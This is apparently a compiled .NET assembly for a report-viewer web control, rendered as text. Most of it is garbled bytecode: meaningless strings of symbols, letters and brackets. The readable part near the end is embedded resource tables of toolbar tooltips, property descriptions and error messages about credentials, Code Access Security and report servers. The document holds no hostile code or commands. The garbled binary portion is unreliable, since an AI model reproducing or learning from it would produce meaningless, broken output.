Zo
&{o

(N
(
o
{o
(N
(
o
To
{o
o
{o,
{oo
+ rmprQ)po
rprpo
To
{o,{{oo
{o
{o,
{oo
+
rpo
{,`o
{o,{{oo
+!{o
{o~(
o
{o
o
o
o
o
o
*0Frprps
}rprMps
}rqprps
}($
*0.~%(q
~-
s~
(r
*%2{o
*2{o
*2{o
*.s$
*V($
}
}
*0)(
{
-
*{
(
*0h{
-_{
,W(
{
o%

(&
-7(
-sWzІ(_
o
-
{
sXz}
}
*:(
o
*0uo
o
s

o
o
s}{rSp(&o{rQp(&o{(&oo
{o
*0_o
+o
)o
o
rp{oo
rWprpo
o
(
o
o
*Jo
{o
*0o
o
(	

(
o
s
}{o
{o
{(
o
o
{o
o
{o
{o
o
o
o
{o
*{*"}*{*"}*{*"}*0so
(,(,(-rpsQ
zoy
o
r-p(o
(
o
o

rYpo
rcpo
rypo

rTpo
(&
-5%{(N
rprp(O
(+
}+3%{(N
rp

r/p
(O
(+
}	(7
,/{o
s
(
o
(
o
,
~
(:
,rcp(&
-~(;
	(
,m{(
(
o
	-(
~(
,(
o)
	,rpr[p(;
(
(
rcp
(&
,
rp(+

+
rprp(

oy
o
z(_
rp
o
(&
-(
,{(
o
{(}F{(o
(
*:s
*Jrp}(
*0		(,;o
,2(N
(=
}9&{o
o
o
}{o
o
o
}|(

,{|{(i
-{}* 4r	
((22<FPPZZd,0^rprprzprprzprprp}rprprpr!prprvpr	pr
prp	rp
rprprp
rprpr!prprvpr	pr
prprprprp}}

rp
rp
rp
r!p
rp
rvp
r	p
r
p
rp
	rp

rp
rp
rp

rp
rp
r!p
rp
rvp
r	p
r
p
rp
rp
rp
rp
}rpr%pr+pr1pr7pr=prCprIprOp	rUp
rprprp
r[praprgprmprspryprprprprprp}}rprprprprprprprprp	rp
rprprp
rprprprpr	prprpr!pr'pr/pr7pr?prGprOprWpr_prgprop}ruprypr}prprprprprprp	rp
rprprp
rprprprprprprprprprprprprprp}%(
}rprprpr	prpr!pr-pr;prKp	r]p
rgprop}($
,Ao
,9(N
(=
}{s
}{oT
}&{-2r}ps
}{oT
}{o
}{}{o
to
}{+V
{-to5
.so5
3}{-to5
3so5
3}Xi2{o
o
}{o
o
}{o
o
}{-+{o
t8{{{rp(
{{{(+
<{- {{rp{(
+A{rp{{rp(1
{-{rp{(
+{rp{(
8{- {{rp{(
+A{rp{{rp(1
{-{rp{(
+{rp{(
X?Z,	(+({o
o
}{@.}}
}
}+q X{o
o
(
{rp{o
(
o1
{rp{o
(
o1
X2+q X{o
o
(
{rp{o
(
o1
{rp{o
(
o1
X
2+l{3({}{}}}+:{o
o
}{o
o
}}}{o
o
}{o
o
}%(
},2o
3)+{o
1.+X2{o
o
},Fo
,=(N
(=
}{2	{2rps4
z&rps4
z},Go
,>(N
(=
}{1	{2rps4
z&rps4
z{o
1G{o
rp(
,.{o
o
}{o
o
}+{}{}{o
o
}{o
o
}{.({	.{
.{.
{3rp}r{-p}+7{3rp}rp}+{o
o
}{o
o
}{o
o
}{o
o
o
}{o
o
o
i}{X}{X}{rcp{rcp+<{{o
o
{{o
o
X{1(
,4o
,+	j(
(
		(
&rps4
z(	
(
(
(
sP
}{.)|(l

{
|{
(r
|(

,{|{(i
-{}|(

,{|{(i
-{}*4N6r12Go0}{YE=j$S8s

8r1ps
}{oT
}s

8r=ps
}{oT
}s

8rIps
}{oT
}s

8rUps
}{oT
}s

8hraps
}{oT
}s

8;rmps
}{oT
}(
s

8rUps
}{oT
}	s

8rUps
}{oT
}
s

8ryps
}{oT
}s

+~rUps
}{oT
}s

+Rs

+Js

+Brps
}{oT
}s

 o
+
}s

{o
o
&-(*0{o
o

(_
3}8(_
3	}+u(_
3	}+_(_
3	}+I(_
3	}+3	(_
3	}+(_
3	}+}{o
{o
o
*{*F{o
o
*{*{*{*{*{*{*{*{*.{]*{*{*{*{*{*{*V}{(
*:{(
*0+(N

(
(
(O
*,-{*{*-{*{*{*0{
(
*0{YEn
+lrp
+jrp
+brp
+Z{ 3rp
+E{ .
{ 3rp
+#{ 3rp
+rp
+rp
(
*:{(	
*31/	{*rp*(N
(
*0{
(
*0!-{+{
{(
*0(N
s

{{{(Q
(v

(
8&o
'38,
o
8g3M+XX%o
/o
%g.3{(W
oX
Y8y@+XX%o
/o
%y.37-(Q
rp(N
(
+
(Q
(
oX
83b,"(Q
rp(N
(
oX
+b,(Q
(
oX
+J(Q
d]rp(N
(
oX
+%3 (Q
rp(N
(
oX
Y8M@1	+	X	X%o
/o
%M.	3U	,{-/{,,{(S
Y+"{(S
Y+{(S
YoX
8	3R	,{-/{,,{(S
Y+"{(S
Y+{(S
YoX
+L	3"(S
rp(N
(
oX
+%	3 (S
rp(N
(
oX
Y8ad@
+
X
X%o
/o
%d.
39-+{(l
X]{oX
8X8
33-({(l


X]{oX
+gX+_
35-(U
rp(N
(
+{(U
oX
+%
3 (U
rp(N
(
oX
Y+RH.Lh.Fm.@s.:f.4z..t.(:."/3{oX
+
.o
Xo
?}o)
*0{
(
*0%{
(
-{
(
**0|(Q
|(S
|(U
sP
~{
{
-*r	prpo*
o1
8o
'38, o
/%Xo
;*g@+XX%o
/o
g.Y@	8{	{	o
{(
-{	o
X	(X
+Y{	{	o
{(
-{	o
X	(X
+	X		{>a	{>**y@
+
X
X%o
/o
y.Y,9o
Yo
(
3*o
YX8Xo
/r
po
o5
/Y

2
1*
3
.
3*
3

1-*
o
(N
(=

0"d{d[ZX{1dY(R
8M@+XX%o
/o
M.Y3{{83{{+f.3Z+Xo
/r
po
o5
/Y21*o
(N
(=
(T
+*9(
,
(
2;26o
o
1+'o
o
1+//*2X(T
o
X?&X
<o
X8d@+XX%o
/o
d.Y.@9r#prpo*
+Xo
/ {o
o
{(
-X+Xo
<\{o
o
{(
-87.@9r#prpo*
+Xo
/ {o
o
{(
-Y21*rpr'po*
r+pr/po*
{(
(V
8Xo
/r
po
o5
/Y21*o
(N
(=
(V
+:*o
/o
o
3
o
1*o
.XXo
?	o
/*{,*	1&{(Q
(v
,		(T
+
,(T
(S
0**0o1


8o
h3mX%o
/o
h.Y+X
o
/r
po
o5
/Y		o
(N
(=
0/*8H3mX%o
/o
H.Y+X
o
/r
po
o5
/Y

o
(N
(=
0/*8m3hX%o
/o
m.Y+X
o
/r
po
o5
/Yo
(N
(=

	;0	<!*s3kX%o
/o
s.Y+X
o
/r
po
o5
/Yo
(N
(=
;0<*t@X%o
/o
t.Y+X
o
/o
 3Y
o
0{
o
(:
-o
1{(&
,+,o
0{
o
(:
,+*X
Xo
?q(
(
(
,-+X	s
*0:
+*o

	{(
-	1
	Xi2*0y{,	{,*s>
}s>
}
{
+>	{{o
{{o
X
	X
	i2*0d 
+Oo

	rp(:
-5	r'p(:
-(	r/p(:
-{	o
-*X
Xo
2*,dZPF<2(
	0%(

rcp Y
8	=832{	o
{o
(z
Y+]32{	o
{o
(z
Y+&{o
(
YY<lX	i?Ko
Yrpo
*{*0	
(@(Q
-M(W
1C((W
(t
((W
Y(t
Y(R
(W
Y(X
8(W
?(W
0w(Q
((W
X(t
((W
(t
YX3E((l
((W
(u
?(W
X(X
(R
8(Q
3}(W
2s(W
0i((l

((W
Y(u
	/@(W
Y(X
((W
X(t
((W
(t
YX(R
((w
&&(R
*y
0|

((w
(S
1 %(S
Y(T
%(Q
X(R
+6(S
/6%(Q
Y(R
((w
%(S
X(T
(

+*0*

(((y
(U
1(V
*0
(((y
(U

%(U
X(V
(U
1-	YXY(V
%(S
X(T
(

/+P(U
/F	X%(S
Y(T
(V
(

(((y
(V
?N*0
((w
(S

%(S
X(T
(S
1-	YXY(T
%(Q
X(R
(

/+T(S
/B	X(T
%(Q
Y(R
(

((w
(T
?Z+(

(
*0e

+61%(Q
X(R
Y+%(Q
Y(R
X(

-((w
(S
1(T
(
*{*{*{3#{(Q
(v
,{,{*{*{*0_{.T{.K{.B{37{ .({ .{ .{ ****{3#{(Q
(v
,{,{*{*0}}rp}rp}}}} (}r3p}r3p}	r{p}rp}
rp}rp}rp}r5p}rcp}rp}rp}rp}rp}rp}r=p}(
o
o
}rOp}($
*{*"}*{-(#
s
}{*rp(+
}rp(+
}*{*0(

(&
-}*{
*"}
*{*"}*{*F10}*{*F2
/}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*{*{*>}}*{*"}*0
{,*{-s}{o}{o}{o}{o
}{o}(%
o
o
}(	}(	}rcp}}*0Q
(C
{{YX~}{
+h{
{o

{o{o(i
-(R
&(R
{{YX~~Y{Y/+h{
{o

{o{o(i
-(R
&(R
{{YX~~X{X1{+){{YX~(Q
1(E
X{1*27i
7
0
{{YX~q~
(Q
/*{o{o(y
:rop|(Q
rp(N
(
|(S
rp(N
(
|(U
rp(N
(
rp(1
o
&rp(F
rp{-r3p+rUpo
&rwpo
&(N
rp{(N
{		{o
	(O
(O

	{-+(H
(N
rxp

{
(O
o
&(J
&{-+	(N
&rpo
&rpo
&rpo
&*0Erp
/rpe(N
(
(

+1r6p(N
(
(

*0(F

-r:p+rLp(+
*0
{{Y~q~
(Q
>{9{@|(U
(U
1	(U
(N
rfp(N
rp	(M
(
rtLp(O
{
(&
-
{
(
+>(N
{		{	{-{+{	(O
rWp(G
(O

8(Q


rp(N
(
(S
rp(N
(
r%p(
(N
rfp(N
rap

(F

Y(F


Y(G

(O
{
(&
-
{
(
+>(N
{{{-{+{(O
rWp(G
(O

+rp
{{YX~q~(Q
>{9{@|(U
(U
1	(U
(N
rfp(N
rp(M
(
rp(O
{(&
-
{(
+>(N
{	{{-{+{(O
rp(G
(O
8(Q
rp(N
(
(S
rp(N
(
r%p(
(N
rfp(N
rap(F
X(F
X(G
(O
{(&
-
{(
+>(N
{	{{-{+{(O
rp(G
(O
+rp(N
rp{oa
&*0rpo
&{,:(N
rp{rcprcprcpoa
&
+q{oX]
(N
rp
	{	{	rp	(N
rwp{(O
	oa
&X2rpo
&*0Lq~
(V
{o{o(m
X]
{o	.N	YX]Y{o(k
-
(R
+{o{o(q
XXY[ZXYq~	{o(k
-
	(R
+{o	{o(q

[(I
&81rpo
&{9
(Q
>{
o


(M
{
o
&
{o{o{(z
0u{o
{o{(z
+Nq~(V
{o
{o{o{(z
(M
rp-"{-{+2{rlp(+
+ {-{+{rlp(+
{-{+{rlp(+
(N
rtp{-{+{rlp(+
(N
rp(N
{(O
(O
(
(O
o
&8{
o


(S
(S
{o&
(Q
|(Q
3*
(S
|(S
3
(U
|(U
+{0{+{_-

(Q
0rpo
&8
(M
{
(U
o

-rcp+S
(Q
rp(N
(

(S
rp(N
(

(U
rp(N
(
(
(N
-rSp+rp,+{
(]
(L
{(
(

(
{rcpoa
&
%(U
X(V
ZXY3q~

(V
+ZXXY3	

(V
XX?rpo
&X[?*K]
0#)(o
(N
(O
*,{*,{*-{*{
*6{o

*0{-*{(M

(N
r0p(
{{o
(
(O
(N
rp
	{	(K
		(%
o
o
-rm)p+rsp	oa
&*}}}} XXX}!*}}}} XX}!*{*"}*{*"}*{*"}*{ *"} *0}(W
(W
0k(W
(W
3Y(Q
(Q
0G(Q
(Q
35(S
(S
0#(S
(S
3(U
(U
*******0}(W
(W
2k(W
(W
3Y(Q
(Q
2G(Q
(Q
35(S
(S
2#(S
(S
3(U
(U
*******.(Z
*.(Y
*(Q
(Q
3!(S
(S
3(U
(U
**.(]
*Jq~~(]
*{!*~$*($
*0(d
&
&**(a
*6(d
o|
*:(d
o}
*6(d
o~
*>(d
o
*>(d
o
*>(d
o
*6(d
o
*>(d
o
*>(d
o
*>(d
o
*04o
o
o
o
sO
~(d
o
*B(d
o
*B(d
o
*F(d
o
*0CsP
~(d
o
(Q
(S
(U
(W
o
*6(d
o
*6(d
o
*6(d
o
*6(d
o
*6(d
o
*:(d
o
*0(U

(S
+ (Q
sP
~(x
X
Y%0(Q
(W
sO
~(l
X]Y[X/X/23X0	3	.Y*.s
$*F A "(
* A "(
,2(
**0	E(Q
(S
(U
 A "(
,(S
2(S
(
**0Jo
,?(U
16(U
2*(U
(Q
(W
o
X(S
(
***J2 (**o
-rEps4
z(Q
(W
o
X(S
(U
(
*o
-rKps4
z(
%(Q
(W
o
Y(R
(X
*&o
*o
-rUps4
zo
X(
*~(Q
o
-rEps4
z(
*(Q
(S
o
-rEps4
z(Q
(W
o
X(S
(
*"o
*
*
*($
*:2**03223	****0340
3*2%2323	******($
*r ],d],	],****~%*J% :&*($
*(
~'(
-+Y(
XXY*0! AY
 mZ[Xd[Y [X*0 A Z XX~&[X(R
(Q
(
Y//%(Q
Y(R
(Q
(

- m+ nX+(Q
(

cX(T
(S
~%/(~'-+(S
(
2%(S
X(T
X~'-+(S
Y(
Y(V
*0/(

~'-+(
~'-+Y(
Y*;Zx0Nm<[y1Onf
s
%	(
'*(
*F($
(
*J($
(
*R($
(
*>($
(
*>($
(
*{(*j{){*{-(
*{)*j{({*{-(
*{**j{({){-(
*{+*{({){*{-(
*{,*:{-(
*{-*:{,(
*J{-{((v
*02{({){*{+sO
~{-(w
*02{({){*{+sO
~{-(x
*.{,X]*>%(
X(
*6(
*0s}(})}*}+}-{({){*{+sO
~(h
-r_ps4
z{-(l
},*0[sP
~(p
(Q
}((S
})(U
}*(W
}+}-},*0!ow
rypox

,t*~
*Jow
rypoz
*0!ow
rpox

,t*~
*Jow
rpoz
*{@*"}@*{J*"}J*{A*"}A*{B*"}B*{C*Vrp(
,}C*{D*B2/}D*{E*F1/}E*{G*B1/}G*Jo
{?o;
*No
{?o<
*Jo
{?o7
*No
{?o8
*Jo
{?o9
*No
{?o:
*Jo
{?o5
*No
{?o6
*Jo
{?o-
*ro
10{?o.
*Jo
{?o/
*ro
2
/{?o0
*{H*22}H*"}I*2{?o'
*6{?o(
*Jo
{?o1
*No
{?o2
*Jo
{?o3
*No
{?o4
*R{?-s"
}?*0c|@(N
(
{B{C|D(N
(
|E(N
(
{A~
(
-+|Ao)
{H.|H(N
(
+(
(
s}>o
{?{>o@
{?(
o$
rpoX
(ooX
rbpoX
{F,'rpp{Fo)
(
rp(

oX
(
o
o
&{?{Io&
{?{GoB
s
{?oD
o)
oX
*rp*0K 	}@~
}A}Brp}C}H(
o
o
}J(
*~,o
-*rp~
(
*"(
*~K*0,	o
0,**
	?	o
:o5

3,**~K-*o
~K+o'
,Xi2**0r
rprprprprprprprpr+p	r7p
rEprSpK*07,o
-* s-

(N
s
s
(
o)
*0,o
,-*
o

+S	o
?/~M+1(1o
oX
	X
~NoX
+X	X
	2/
o4
oX
*,o
-*(
-~
*(
*&(
*0

(
*09,o
-* s-

(N
s
s
(
o)
*0
(
*0t,o
,-*
o
+X/o
 .
8"o
?;,	#; _,0 .*".$#.%.<.>.'.&3p1	o
oX
X
 _/$repoX
rhp(N
(
oX
+w%o
rhp(N
(
oX
+V,M1G1	o
oX
o
Y2+	Xo
(
,XX
+XX?	/
	o4
oX
*07,o
-* s-

(N
s
s
(
o)
*0X,o
,-*
o

8	o
>1o
oX
	X
rkpoX
c-
rpoX
+>/!0o
rhp(N
(
oX
+rhp(N
(
oX
 _/!0o
rhp(N
(
oX
+_rhp(N
(
oX
+F_/~O+1(1o
oX
	X
~PoX
+X	X
	?/
o4
oX
*0j 
   
   R0~QoX
* 0.c`~QoX
	?_`~QoX
*_.Kc`~QoX
	 _c`~QoX
	?_`~QoX
*9 _
bR _`Xc`~QoX
	 _c`~QoX
	 _c`~QoX
	?_`~QoX
*R*	

0@
%
(
M
rcprqprprprWprprprŀprp	rp
rprprp
rprprpN`
%(
Orcprprprprprprprprp	r-p
r;prIprWp
rpP reprmprupr}prprprprprp	rp
rprprp
rprprprprprprprpr
prprpr%pr-pr5pr=prEprMprUpr]p rep!rmp"rup#r}p$rp%rp&rp'rp(rp)rp*rp+rp,rp-rp.rp/rp0rp1rp2rp3rp4rp5r
p6rp7rp8r%p9r-p:r5p;r=p<rEp=rMp>rUp?r]p@repArmpBrupCr}pDrpErpFrpGrpHrpIrpJrpKrpLrpMrpNrpOrpPrpQrpRrpSrpTrpUr
pVrpWrpXr%pYr-pZr5p[r=p\rEp]rMp^rUp_r]p`reparmpbrupcr}pdrperpfrpgrphrpirpjrpkrplrpmrpnrporpprpqrprrpsrptrpur
pvrpwrpxr%pyr-pzr5p{r=p|rEp}rMp~rUpr]p rep rmp rup r}p rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp r
p rp rp r%p r-p r5p r=p rEp rMp rUp r]p rep rmp rup r}p rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp r
p rp rp r%p r-p r5p r=p rEp rMp rUp r]p rep rmp rup r}p rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp r
p rp rp r%p r-p r5p r=p rEp rMp rUp r]p rep rmp rup r}p rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp rp r
p rp rp r%p r-p r5p r=p rEp rMp rUp r]pQ*0s

(&
-	o
-**rep*"(*s
}f($
%-
&s}g*(*0o{e-{d,{do{fo
o
+(

o(
-o@
}d}e{fo
*,G0l3*-{d-{e+
-s+{gos-,	}d+
{fo
o*0S(
*0#{d(
,}e}d*0(

(*0>{fo
((
,,{fo
&o	*0T{fo
+!(

{f(
(
o
(
-o@
{fo
*.:04a,/o
ԍ
+o
io
Xjo
2**s`
*($
-rpsv
z}h}i}j}k*,1o-Q+
oo
QoQoQo*QQQ*2{ho
*Z{hjoK
&{h*{i*{j*{k*&(*V(
}l}m*&(*o
{l,

rpo
Lo
{m,{mo
o
*0'(
t
o
o
(*0 o
rp(
o
oT
o
("-o
(rtLpo
s
o
,o
o
,0oM

+	o8

o
o
	o?
-
	,	o@
,5o
+o
o
o
o?
-,o@
(
,P(
o
o
o
o
o
rp(0
-o
( (
o
(!o
*_~
!0(
(s*0!u
u,(o
u9o
 '@sx
*9o
3sx
*o
9o
oq

sb
sc
od
	(	
og
o.
s/
r8pr8po0
oh
,(oh
r8po1
(t		,	
&	o
*
*e{e~o*~p*0ESo

rpo%

,o
-'o
o
o
o
o
o4

*07"(

-*o
o
-*o
o

(o%
,**0B~qo
~q(

(
o
o
~qrp(
o
o
&*
4>0J#~q%
(q
~qo
/"~r-%s
r~r(
(r
~q*1=($
*($
*(#o
{{(
(
o
(
}*0B$s}s
}}s
(
{&*
.;~rporpps
q*rp*r!p*r+p*rKp*r{p*rop*r}p*rp*rp*rp*rp*rp*0%	s'

-*('o
o
o
9((o
o
()o
(N
(
o
(*o
o)
o
(+(<
(N
(
o
(,o
(N
(
o
(-o
(N
(
o
(.o
(N
(
o
(/o 
(N
(
o
&*%02&-*o

-*o
o
o
(6&**+0D'-*((o%

(-o%
(7
,(.o%
(!
-*(6*,o
2(0("
,*/3#@7**,o
-*o
(2o,
*b-*(2o,
*-*(1o,
2(2o,
**0?(-*o

o
,o
2(0("
,*o
/**R(4,rp*rp*Jo
o
*{s*"}s*{t*"}t*{u*"}u*{x*"}x*
**0I,
(JsT}w+{s(H-
X{si2(K,(L*0)(&
,*(#
{v,){voV($
,{woWݖ(%

*(&
			o*
	(Qcs

('

	o(
(I6o
u,o)
(I(P{woW**(
AK*u'u0*9o
+ao=
t
o
3&o
o)
o
(O+$o
o)
o
(Ro?
-u
	,	o@
*
mz0Q+{t(&
->{t(*
,1{ts+

s,
o-
u}v
,o@
&*'A
MM0|,{t(&
-D{t(*
,{t(.
{ts+

s,
{wo/

,o@
((0

	{t	o*
	(N*2G
SS(0`-{u(&
-({u(*
,{u(.
{u(1
o
(
(0
{to*
(N*77(0
,i1
(;
(O

*0(O*0].	-rpsv
z,	o
-
(Co2
	
(M(
oJ
s3

(Co4
*No*
(Q*0(R*0/	-rpsv
z,	o
-<-8-4(Co5
-'(Co2
(Co6
(Co7
	
(M(
oJ
s8

(Co9
*($
*2(
(;
*&(<
*r(
,
(
*~=
*:(
*(>
*"(Z*00(

,*(?
([(@
(A
&s

('
&ݑ
	o
u,no)
,eo*
(@
sB
+6o)
o
oC
o
(@
sD
oE
&Xo)
o
2zo*
sF
z*"6"0m1oJ
,o
i
o
&* 

i	 X/iZi(G

	 o
	X
-*lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet	PADPADP19Ђ-2DX"12c6V$ToD<)g$DefaultDocMapLabelDocumentMap&HTML40LocalizedName"HideDocMapTooltip$MHTMLLocalizedName2&ToggleStateCollapseG"ToggleStateExpandJ&rrInvalidDeviceInfoM*rrInvalidSectionErroraGroupDocument MapHTML 4.0Hide Document MapMHTML (web archive)-+Invalid DeviceInfoGThe Section device info parameter was out of the range of valid values.H1lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetiPADPADPiaP2rX$󄔩?U՝RonʣEH-Yv`xyOw-ĻWenƔkJĴFoJʘa׵΋1ۘ:W<yl
*0iM0W9t:?Aj,51%"_	c
}9ӼoN;6L0:("7/#_A#ՌQ'w*+-{.
+/-s/41(1D4I`:->A;d;
Δ<{w<?q#EEVJ?LLͰMOTPSW	p-b=_b1d˩ej[Pl4o$u"Ww z{_5c	JmO:`
,'/S^
z
qv

		`	
/PE
'g	Lg
&T
!jo>	]R0
_
0
}<9
"AsyncProgressText$AsyncRenderingDescBackEventDesc`"BookmarkEventDescCancelLinkTextNCasPolicyUnavailableForCurrentAppDomain*ClientRenderingErrors,ContentDispositionDesc$DeviceInfoInternal*DisplayNameDescP&DocMapCollapsedDescvDocMapEventDescDocMapWidthDesc(DocMapWidthFixedDesc&*DrillthroughEventDesc0EnableExternalImagesDesc(EnableHyperlinksDescAErrorEventDesc$EstimateTotalPagesExportEventDesc&ExternalImagesErrorHistoryIdDescj$HyperlinkEventDesc,HyperlinkSecurityError&HyperlinkTargetDescR:InteractivityPostBackModeDesc.InternalBorderColorDesc.InternalBorderStyleDesc.InternalBorderWidthDesc[(KeepSessionAliveDesc2KeepSessionAliveException&LinkActiveColorDescP0LinkActiveHoverColorDesc*LinkDisabledColorDesc>LocalModeMissingFullTrustErrors3	*LocalProcessingErrors
LocalReportDesc@
&LocalReportPathDesc^
"MissingDataSource
8MissingDataSourceCredentials
 MissingParameter	&MissingReportSource10NonClsCompliantExceptionm"NotInDrillthrough"PageCountModeDesc.PageNavigationEventDesc#8PageSettingsChangedEventDescc"ParameterNotFound>ParameterSpecifiedMultipleTimes(PolicyFileLoadFailed

PrintEventDesc.
.PrintingBegingEventDescW
$ProcessingModeDesc
.PromptAreaCollapsedDesc
 RefreshEventDesc(RenderBeginEventDesc?.RenderCompleteEventDescqReport*ReportDataSourcesDesc4ReportEmbeddedResourceDescReportNotReady[.ReportNotReadyException&ReportServerUrlDesc.ReportViewerDescriptionSearchEventDesc ServerReportDesc-(ServerReportPathDescL"ServerTimeoutDescv$ShowBackButtonDesc&ShowContextMenuDesc'2ShowCredentialPromptsDesc^BShowDetailedSubreportMessagesDesc2ShowDocumentMapButtonDesc(ShowExportButtonDescf$ShowFindButtonDesc,ShowPageNavigationDesc0ShowParameterPromptsDesc4&ShowPrintButtonDesc ShowProgressDesc0ShowPromptAreaButtonDesc9*ShowRefreshButtonDesc$ShowReportBodyDesc$ShowStopButtonDescShowToolBarDesc;:ShowWaitControlCancelLinkDescg$ShowZoomButtonDesc"SizeToContentDescSortEventDescK*StateChangedEventDescPSubmittingDataSourceCredentialsEventDescDSubmittingParameterValuesEventDesc8SubreportProcessingEventDesc_ToggleEventDesc&ToolBarCategoryDesc4ToolBarItemBorderColorDesc4ToolBarItemBorderStyleDesc4ToolBarItemBorderWidthDesc#:ToolBarItemHoverBackColorDescO8UnsupportedReportServerError&ViewReportEventDesc6WaitControlDisplayAfterDesc&WaitMessageFontDescdZoomEventDescZoomModeDescZoomPercentDesc
Loading...RDetermines if the report is rendered asynchronously from the rest of the web page.ROccurs when the user navigates back to the parent report of a drillthrough report.;Occurs when the user navigates to a bookmark in the report.CancelReport execution in the current AppDomain requires Code Access Security policy, which is off by default in .NET 4.0 and later.  Enable legacy CAS policy or execute the report in the sandbox AppDomain.*An error occurred during client rendering.8Determines which mime types are exported as attachments.$DeviceInfo '{0}' is for internal use$The user-visible name of the report.<Determines whether the document map is visible or collapsed.EOccurs when the user navigates to a document map entry in the report.)Determines the width of the document map.hDetermines if the document map width will grow proportionally with the size of the ReportViewer control.=Occurs when the user performs a drillthrough to a new report.pDetermines whether a report that has external images can be rendered (for example, images referenced via a URL.)LDetermines whether a report that contains hyperlink actions can be rendered.<Occurs when errors are encountered while rendering a report.{0} ?(Occurs when the user exports the report.jReport '{0}' contains external images. The EnableExternalImages property has not been set for this report.LThe unique identifier of a report history snapshot for the specified report.6Occurs when the user clicks a hyperlink in the report.`Report '{0}' contains hyperlinks. The EnableHyperlinks property has not been set for this report2The target window of the hyperlinks in the report.[Determines whether synchronous or asynchronous postbacks are used for report interactivity.:The border color between major areas of the report viewer.:The border style between major areas of the report viewer.:The border width between major areas of the report viewer.hWhen true, the report viewer will keep the report session alive as long as the report viewer is running.MKeepSessionAlive cannot be turned on because a report session already exists.;The color of active links in the tool bar and prompt areas.eThe color of active links in the tool bar and prompt areas while the mouse is hovering over the text.=The color of disabled links in the tool bar and prompt areas.Local report processing requires FullTrust Code Access Security permissions, which is unavailable to the calling code.  Grant the application FullTrust permissions or use ServerReport to execute the report remotely.1An error occurred during local report processing.Local processing properties./File system path to the report definition file.GA data source instance has not been supplied for the data source '{0}'./One or more data sources is missing credentials&The '{0}' parameter is missing a value:The source of the report definition has not been specifiedNon-CLSCompliant exception.>The operation can only be performed from a drillthrough reportWDetermines whether the actual number of pages are calculated when rendering the report.>Occurs when the user changes the displayed page of the report.KOccurs when user changes the margins or bounds in the page settings dialog.-Parameter '{0}' does not exist on this report,Parameter '{0}' was specified multiple timesFailed to load policy file: {0}'Occurs when the user prints the report.1Occurs after 'OK' is pressed in the print dialog.JDetermines whether report processing occurs locally or on a report server.;Determines whether the prompt area is visible or collapsed.*Occurs when the user refreshes the report.0Occurs before rendering of the report is begins.5Occurs when the rendering of the report in completed.Report=Data source instance associated with each report data source.jName of embedded resource containing the report definition. If ReportPath is set this property is ignored.6Some parameters or credentials have not been specified.Report is not ready to render: Unknown reason.The URL of the report server. Displays a report5Occurs when the user searches for text in the report.Remote processing properties.(The path to report on the Report Server.pThe number of milliseconds to wait for a connection before terminating the attempt.  Specify -1 for no time out.=Determines the visibility of the back button on the tool bar.5Determines the visibility of the report context menu.SDetermines whether credential prompts should be displayed during remote processing.jWhen true and an error occurs with a subreport, a detailed error message will be embedded into the report.EDetermines the visibility of the document map button on the tool bar.?Determines the visibility of the export button on the tool bar.?Determines the visibility of the find controls on the tool bar.JDetermines the visibility of the page navigation controls on the tool bar.RDetermines whether parameter prompts should be displayed during remote processing.]Determines the visibility of the print, print layout, and page setup buttons on the tool bar.PDetermines whether a progress animation is visible while waiting for the report.PDetermines the visibility of the prompt area splitter button above the tool bar.@Determines the visibility of the refresh button on the tool bar.-Determines if the report content is rendered.=Determines the visibility of the stop button on the tool bar.*Determines the visibility of the tool bar.MDetermines whether the cancel link is displayed on the busy status indicator.=Determines the visibility of the zoom button on the tool bar.TDetermines if the report area has a fixed size or is the size of the report content.3Occurs when the user performs a sort on the report.;Occurs when the display state of the report viewer changes.ROccurs when the user submits data source credentials via the built-in prompt area.LOccurs when the user submits parameter values from the built-in prompt area.+Occurs when a subreport is being processed.3Occurs when the user toggles an item in the report.Tool Bar*The border color of icons on the tool bar.*The border style of icons on the tool bar.*The border width of icons on the tool bar..The background color of icons on the tool bar.XRemote report processing requires Microsoft SQL Server 2008 Reporting Services or later.3Occurs when the user clicks the view report button.TThe delay in milliseconds before the busy status indicator is displayed to the user.(Determines the font of the wait message.=Occurs when the user changes the zoom setting for the report.2Determines the type of zoom applied to the report.XDetermines the percentage of zoom applied to the report when ZoomMode is set to Percent.1
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet)PADPADPG
8#2CdZbpmae9[kJz-!<0&LsY@b&Wk9o"!e$(1Dɜ2]2.+38zm<,ClG2JOQV$TW Wlum5ry|Z_}HSVb!3Blc-
14IlB_BackTooltip6CalendarFrameAccessibleName(CantLoadPrintControl/"ChangeCredentialsU0ChangeCredentialsTooltipi$CurrentPageTooltip}&DocMapActionTooltip*DocMapCollapseTooltip&DocMapExpandTooltipDocumentMapExportButton&ExportButtonTooltip(ExportFormatsTooltipFindFirstFindNextFindNextTooltipFindTooltip FirstPageTooltipHelpTooltip
HereLastPageTooltipLoading$NextPageTooltip0NoScript;NoScriptPrefixOfPageWidthPassword	<PlaceHolderFrameAccessibleName&PreviousPageTooltip&PrintTooltip5RefreshTooltip<ReportE(SearchTextBoxToolTipMSelectFormatb*ShowHideDocMapTooltips2ShowHideParametersTooltipUserNameViewReportWholePageZoomTooltipGo back to the parent report{0} date picker$Unable to load client print control.Change CredentialsChange CredentialsCurrent PageNavigate to {0}Collapse {0}
Expand {0}Document MapExportExportExport FormatsFindNext	Find NextFind
First PageHelphere	Last Page
Loading...	Next PageRYour browser does not support scripts or has been configured not to allow scripts.hBrowser settings prevent scripts from running on this report. To view this report without scripts, clickof
Page Width	Password:{0} place holder
Previous PagePrintRefreshReportFind Text in ReportSelect a formatShow / Hide Document MapShow / Hide ParametersLog In Name:View Report
